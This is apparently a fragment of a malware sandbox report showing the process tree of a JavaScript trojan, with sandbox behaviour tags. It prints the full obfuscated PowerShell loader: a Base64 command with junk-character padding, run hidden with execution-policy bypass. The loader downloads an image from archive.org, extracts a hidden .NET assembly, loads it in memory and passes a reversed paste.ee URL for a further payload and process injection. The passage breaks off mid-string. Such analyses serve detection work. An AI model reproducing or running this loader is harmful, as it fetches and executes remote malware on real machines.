㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹WwBv↦ ☰ ䷸ ㈽ ⺹GI↦ ☰ ䷸ ㈽ ⺹agBl↦ ☰ ䷸ ㈽ ⺹GM↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bb↦ ☰ ䷸ ㈽ ⺹F0↦ ☰ ䷸ ㈽ ⺹XQ↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹Cg↦ ☰ ䷸ ㈽ ⺹Jw↦ ☰ ䷸ ㈽ ⺹w↦ ☰ ䷸ ㈽ ⺹C8↦ ☰ ䷸ ㈽ ⺹eQBz↦ ☰ ䷸ ㈽ ⺹H↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹bgBV↦ ☰ ䷸ ㈽ ⺹C8↦ ☰ ䷸ ㈽ ⺹Z↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹v↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹ZQ↦ ☰ ䷸ ㈽ ⺹u↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bz↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹c↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹v↦ ☰ ䷸ ㈽ ⺹C8↦ ☰ ䷸ ㈽ ⺹OgBz↦ ☰ ䷸ ㈽ ⺹H↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹B0↦ ☰ ䷸ ㈽ ⺹Gg↦ ☰ ䷸ ㈽ ⺹Jw↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹Cw↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹n↦ ☰ ䷸ ㈽ ⺹GQ↦ ☰ ䷸ ㈽ ⺹ZQBz↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bp↦ ☰ ䷸ ㈽ ⺹HY↦ ☰ ䷸ ㈽ ⺹YQBk↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹Jw↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹Cw↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹n↦ ☰ ䷸ ㈽ ⺹GQ↦ ☰ ䷸ ㈽ ⺹ZQBz↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bp↦ ☰ ䷸ ㈽ ⺹HY↦ ☰ ䷸ ㈽ ⺹YQBk↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹Jw↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹Cw↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹n↦ ☰ ䷸ ㈽ ⺹GQ↦ ☰ ䷸ ㈽ ⺹ZQBz↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bp↦ ☰ ䷸ ㈽ ⺹HY↦ ☰ ䷸ ㈽ ⺹YQBk↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹Jw↦ ☰ ䷸ ㈽ ⺹s↦ ☰ ䷸ ㈽ ⺹Cc↦ ☰ ䷸ ㈽ ⺹QQBk↦ ☰ ䷸ ㈽ ⺹GQ↦ ☰ ䷸ ㈽ ⺹SQBu↦ ☰ ䷸ ㈽ ⺹F↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹cgBv↦ ☰ ䷸ ㈽ ⺹GM↦ ☰ ䷸ ㈽ ⺹ZQBz↦ ☰ ䷸ ㈽ ⺹HM↦ ☰ ䷸ ㈽ ⺹Mw↦ ☰ ䷸ ㈽ ⺹y↦ ☰ ䷸ ㈽ ⺹Cc↦ ☰ ䷸ ㈽ ⺹L↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹n↦ ☰ ䷸ ㈽ ⺹GQ↦ ☰ ䷸ ㈽ ⺹ZQBz↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bp↦ ☰ ䷸ ㈽ ⺹HY↦ ☰ ䷸ ㈽ ⺹YQBk↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹Jw↦ ☰ ䷸ ㈽ ⺹p↦ ☰ ䷸ ㈽ ⺹Ck↦ ☰ ䷸ ㈽ ⺹';$OWjuxD = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64String($Codigo.replace('↦ ☰ ䷸ ㈽ ⺹','A') ) );powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
                                                                                                                                        2⤵
                                                                                                                                        • Command and Scripting Interpreter: PowerShell
                                                                                                                                        • Suspicious behavior: EnumeratesProcesses
                                                                                                                                        PID:5992
                                                                                                                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "$imageUrl = 'https://ia601606.us.archive.org/10/items/deathnote_202407/deathnote.jpg';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('dnlib.IO.Home');$method = $type.GetMethod('VAI').Invoke($null, [object[]] ('0/yspnU/d/ee.etsap//:sptth' , 'desativado' , 'desativado' , 'desativado','AddInProcess32','desativado'))"
                                                                                                                                          3⤵
                                                                                                                                          • Blocklisted process makes network request
                                                                                                                                          • Command and Scripting Interpreter: PowerShell
                                                                                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                                                                                          PID:5792
                                                                                                                                    • C:\Windows\System32\CScript.exe
                                                                                                                                      "C:\Windows\System32\CScript.exe" "C:\Users\Admin\Desktop\trojan.js"
                                                                                                                                      1⤵
                                                                                                                                        PID:4132
                                                                                                                                      • C:\Windows\System32\WScript.exe
                                                                                                                                        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\trojan.js"
                                                                                                                                        1⤵
                                                                                                                                          PID:6036
                                                                                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'J↦ ☰ ䷸ ㈽ ⺹Bp↦ ☰ ䷸ ㈽ ⺹G0↦ ☰ ䷸ ㈽ ⺹YQBn↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹VQBy↦ ☰ ䷸ ㈽ ⺹Gw↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹9↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹JwBo↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bw↦ ☰ ䷸ ㈽ ⺹HM↦ ☰ ䷸ ㈽ ⺹Og↦ ☰ ䷸ ㈽ ⺹v↦ ☰ ䷸ ㈽ ⺹C8↦ ☰ ䷸ ㈽ ⺹aQBh↦ ☰ ䷸ ㈽ ⺹DY↦ ☰ ䷸ ㈽ ⺹M↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹x↦ ☰ ䷸ ㈽ ⺹DY↦ ☰ ䷸ ㈽ ⺹M↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹2↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹dQBz↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹YQBy↦ ☰ ䷸ ㈽ ⺹GM↦ ☰ ䷸ ㈽ ⺹a↦ ☰ ䷸ ㈽ ⺹Bp↦ ☰ ䷸ ㈽ ⺹HY↦ ☰ ䷸ ㈽ ⺹ZQ↦ ☰ ䷸ ㈽ ⺹u↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹cgBn↦ ☰ ䷸ ㈽ ⺹C8↦ ☰ ䷸ ㈽ ⺹MQ↦ ☰ ䷸ ㈽ ⺹w↦ ☰ ䷸ ㈽ ⺹C8↦ ☰ ䷸ ㈽ ⺹aQB0↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹bQBz↦ ☰ ䷸ ㈽ ⺹C8↦ ☰ ䷸ ㈽ ⺹Z↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bo↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹bwB0↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹Xw↦ ☰ ䷸ ㈽ ⺹y↦ ☰ ䷸ ㈽ ⺹D↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹Mg↦ ☰ ䷸ ㈽ ⺹0↦ ☰ ䷸ ㈽ ⺹D↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹Nw↦ ☰ ䷸ ㈽ ⺹v↦ ☰ ䷸ ㈽ ⺹GQ↦ ☰ ䷸ ㈽ ⺹ZQBh↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹a↦ ☰ ䷸ ㈽ ⺹Bu↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹agBw↦ ☰ ䷸ ㈽ ⺹Gc↦ ☰ ䷸ ㈽ ⺹Jw↦ ☰ ䷸ ㈽ ⺹7↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹dwBl↦ ☰ ䷸ ㈽ ⺹GI↦ ☰ ䷸ ㈽ ⺹QwBs↦ ☰ ䷸ ㈽ ⺹Gk↦ ☰ ䷸ ㈽ ⺹ZQBu↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹9↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹TgBl↦ ☰ ䷸ ㈽ ⺹Hc↦ ☰ ䷸ ㈽ ⺹LQBP↦ ☰ ䷸ ㈽ ⺹GI↦ ☰ ䷸ ㈽ ⺹agBl↦ ☰ ䷸ ㈽ ⺹GM↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹FM↦ ☰ ䷸ ㈽ ⺹eQBz↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹ZQBt↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹TgBl↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹LgBX↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹YgBD↦ ☰ ䷸ ㈽ ⺹Gw↦ ☰ ䷸ ㈽ ⺹aQBl↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹7↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹aQBt↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹ZwBl↦ ☰ ䷸ ㈽ ⺹EI↦ ☰ ䷸ ㈽ ⺹eQB0↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹cw↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹D0↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹k↦ ☰ ䷸ ㈽ ⺹Hc↦ ☰ ䷸ ㈽ ⺹ZQBi↦ ☰ ䷸ ㈽ ⺹EM↦ ☰ ䷸ ㈽ ⺹b↦ ☰ ䷸ ㈽ ⺹Bp↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹bgB0↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹R↦ ☰ ䷸ ㈽ ⺹Bv↦ ☰ ䷸ ㈽ ⺹Hc↦ ☰ ䷸ ㈽ ⺹bgBs↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹YQBk↦ ☰ ䷸ ㈽ ⺹EQ↦ ☰ ䷸ ㈽ ⺹YQB0↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹K↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹k↦ ☰ ䷸ ㈽ ⺹Gk↦ ☰ ䷸ ㈽ ⺹bQBh↦ ☰ ䷸ ㈽ ⺹Gc↦ ☰ ䷸ ㈽ ⺹ZQBV↦ ☰ ䷸ ㈽ ⺹HI↦ ☰ ䷸ ㈽ ⺹b↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹p↦ ☰ ䷸ ㈽ ⺹Ds↦ ☰ ䷸ ㈽ ⺹J↦ ☰ ䷸ ㈽ ⺹Bp↦ ☰ ䷸ ㈽ ⺹G0↦ ☰ ䷸ ㈽ ⺹YQBn↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹V↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹Hg↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹D0↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹Bb↦ ☰ ䷸ ㈽ ⺹FM↦ ☰ ䷸ ㈽ ⺹eQBz↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹ZQBt↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹V↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹Hg↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹u↦ ☰ ䷸ ㈽ ⺹EU↦ ☰ ䷸ ㈽ ⺹bgBj↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹Z↦ ☰ ䷸ ㈽ ⺹Bp↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹ZwBd↦ ☰ ䷸ ㈽ ⺹Do↦ ☰ ䷸ ㈽ ⺹OgBV↦ ☰ ䷸ ㈽ ⺹FQ↦ ☰ ䷸ ㈽ ⺹Rg↦ ☰ ䷸ ㈽ ⺹4↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹RwBl↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹UwB0↦ ☰ ䷸ ㈽ ⺹HI↦ ☰ ䷸ ㈽ ⺹aQBu↦ ☰ ䷸ ㈽ ⺹Gc↦ ☰ ䷸ ㈽ ⺹K↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹k↦ ☰ ䷸ ㈽ ⺹Gk↦ ☰ ䷸ ㈽ ⺹bQBh↦ ☰ ䷸ ㈽ ⺹Gc↦ ☰ ䷸ ㈽ ⺹ZQBC↦ ☰ ䷸ ㈽ ⺹Hk↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹HM↦ ☰ ䷸ ㈽ ⺹KQ↦ ☰ ䷸ ㈽ ⺹7↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹cwB0↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹cgB0↦ ☰ ䷸ ㈽ ⺹EY↦ ☰ ䷸ ㈽ ⺹b↦ ☰ ䷸ ㈽ ⺹Bh↦ ☰ ䷸ ㈽ ⺹Gc↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹9↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹Jw↦ ☰ ䷸ ㈽ ⺹8↦ ☰ ䷸ ㈽ ⺹Dw↦ ☰ ䷸ ㈽ ⺹QgBB↦ ☰ ䷸ ㈽ ⺹FM↦ ☰ ䷸ ㈽ ⺹RQ↦ ☰ ䷸ ㈽ ⺹2↦ ☰ ䷸ ㈽ ⺹DQ↦ ☰ ䷸ ㈽ ⺹XwBT↦ ☰ ䷸ ㈽ ⺹FQ↦ ☰ ䷸ ㈽ ⺹QQBS↦ ☰ ䷸ ㈽ ⺹FQ↦ ☰ ䷸ ㈽ ⺹Pg↦ ☰ ䷸ ㈽ ⺹+↦ ☰ ䷸ ㈽ ⺹Cc↦ ☰ ䷸ ㈽ ⺹Ow↦ ☰ ䷸ ㈽ ⺹k↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹bgBk↦ ☰ ䷸ ㈽ ⺹EY↦ ☰ ䷸ ㈽ ⺹b↦ ☰ ䷸ ㈽ ⺹Bh↦ ☰ ䷸ ㈽ ⺹Gc↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹9↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹Jw↦ ☰ ䷸ ㈽ ⺹8↦ ☰ ䷸ ㈽ ⺹Dw↦ ☰ ䷸ ㈽ ⺹QgBB↦ ☰ ䷸ ㈽ ⺹FM↦ ☰ ䷸ ㈽ ⺹RQ↦ ☰ ䷸ ㈽ ⺹2↦ ☰ ䷸ ㈽ ⺹DQ↦ ☰ ䷸ ㈽ ⺹XwBF↦ ☰ ䷸ ㈽ ⺹E4↦ ☰ ䷸ ㈽ ⺹R↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹+↦ ☰ ䷸ ㈽ ⺹D4↦ ☰ ䷸ ㈽ ⺹Jw↦ ☰ ䷸ ㈽ ⺹7↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹cwB0↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹cgB0↦ ☰ ䷸ ㈽ ⺹Ek↦ ☰ ䷸ ㈽ ⺹bgBk↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹e↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹D0↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹k↦ ☰ ䷸ ㈽ ⺹Gk↦ ☰ ䷸ ㈽ ⺹bQBh↦ ☰ ䷸ ㈽ ⺹Gc↦ ☰ ䷸ ㈽ ⺹ZQBU↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹e↦ ☰ ䷸ ㈽ ⺹B0↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹SQBu↦ ☰ ䷸ ㈽ ⺹GQ↦ ☰ ䷸ ㈽ ⺹ZQB4↦ ☰ ䷸ ㈽ ⺹E8↦ ☰ ䷸ ㈽ ⺹Zg↦ ☰ ䷸ ㈽ ⺹o↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹cwB0↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹cgB0↦ ☰ ䷸ ㈽ ⺹EY↦ ☰ ䷸ ㈽ ⺹b↦ ☰ ䷸ ㈽ ⺹Bh↦ ☰ ䷸ ㈽ ⺹Gc↦ ☰ ䷸ ㈽ ⺹KQ↦ ☰ ䷸ ㈽ ⺹7↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹ZQBu↦ ☰ ䷸ ㈽ ⺹GQ↦ ☰ ䷸ ㈽ ⺹SQBu↦ ☰ ䷸ ㈽ ⺹GQ↦ ☰ ䷸ ㈽ ⺹ZQB4↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹PQ↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹aQBt↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹ZwBl↦ ☰ ䷸ ㈽ ⺹FQ↦ ☰ ䷸ ㈽ ⺹ZQB4↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹LgBJ↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹Z↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹Hg↦ ☰ ䷸ ㈽ ⺹TwBm↦ ☰ ䷸ ㈽ ⺹Cg↦ ☰ ䷸ ㈽ ⺹J↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹Z↦ ☰ ䷸ ㈽ ⺹BG↦ ☰ ䷸ ㈽ ⺹Gw↦ ☰ ䷸ ㈽ ⺹YQBn↦ ☰ ䷸ ㈽ ⺹Ck↦ ☰ ䷸ ㈽ ⺹Ow↦ ☰ ䷸ ㈽ ⺹k↦ ☰ ䷸ ㈽ ⺹HM↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bh↦ ☰ ䷸ ㈽ ⺹HI↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹BJ↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹Z↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹Hg↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹t↦ ☰ ䷸ ㈽ ⺹Gc↦ ☰ ䷸ ㈽ ⺹ZQ↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹D↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹t↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹bgBk↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹J↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹Z↦ ☰ ䷸ ㈽ ⺹BJ↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹Z↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹Hg↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹t↦ ☰ ䷸ ㈽ ⺹Gc↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹cwB0↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹cgB0↦ ☰ ䷸ ㈽ ⺹Ek↦ ☰ ䷸ ㈽ ⺹bgBk↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹e↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹7↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹cwB0↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹cgB0↦ ☰ ䷸ ㈽ ⺹Ek↦ ☰ ䷸ ㈽ ⺹bgBk↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹e↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹Cs↦ ☰ ䷸ ㈽ ⺹PQ↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹cwB0↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹cgB0↦ ☰ ䷸ ㈽ ⺹EY↦ ☰ ䷸ ㈽ ⺹b↦ ☰ ䷸ ㈽ ⺹Bh↦ ☰ ䷸ ㈽ ⺹Gc↦ ☰ ䷸ ㈽ ⺹LgBM↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹bgBn↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹a↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹7↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹YgBh↦ ☰ ䷸ ㈽ ⺹HM↦ ☰ ䷸ ㈽ ⺹ZQ↦ ☰ ䷸ ㈽ ⺹2↦ ☰ ䷸ ㈽ ⺹DQ↦ ☰ ䷸ ㈽ ⺹T↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹ZwB0↦ ☰ ䷸ ㈽ ⺹Gg↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹9↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹J↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹Z↦ ☰ ䷸ ㈽ ⺹BJ↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹Z↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹Hg↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹t↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹J↦ ☰ ䷸ ㈽ ⺹Bz↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹YQBy↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹SQBu↦ ☰ ䷸ ㈽ ⺹GQ↦ ☰ ䷸ ㈽ ⺹ZQB4↦ ☰ ䷸ ㈽ ⺹Ds↦ ☰ ䷸ ㈽ ⺹J↦ ☰ ䷸ ㈽ ⺹Bi↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹cwBl↦ ☰ ䷸ ㈽ ⺹DY↦ ☰ ䷸ ㈽ ⺹N↦ ☰ ䷸ ㈽ ⺹BD↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹bQBt↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹bgBk↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹PQ↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹aQBt↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹ZwBl↦ ☰ ䷸ ㈽ 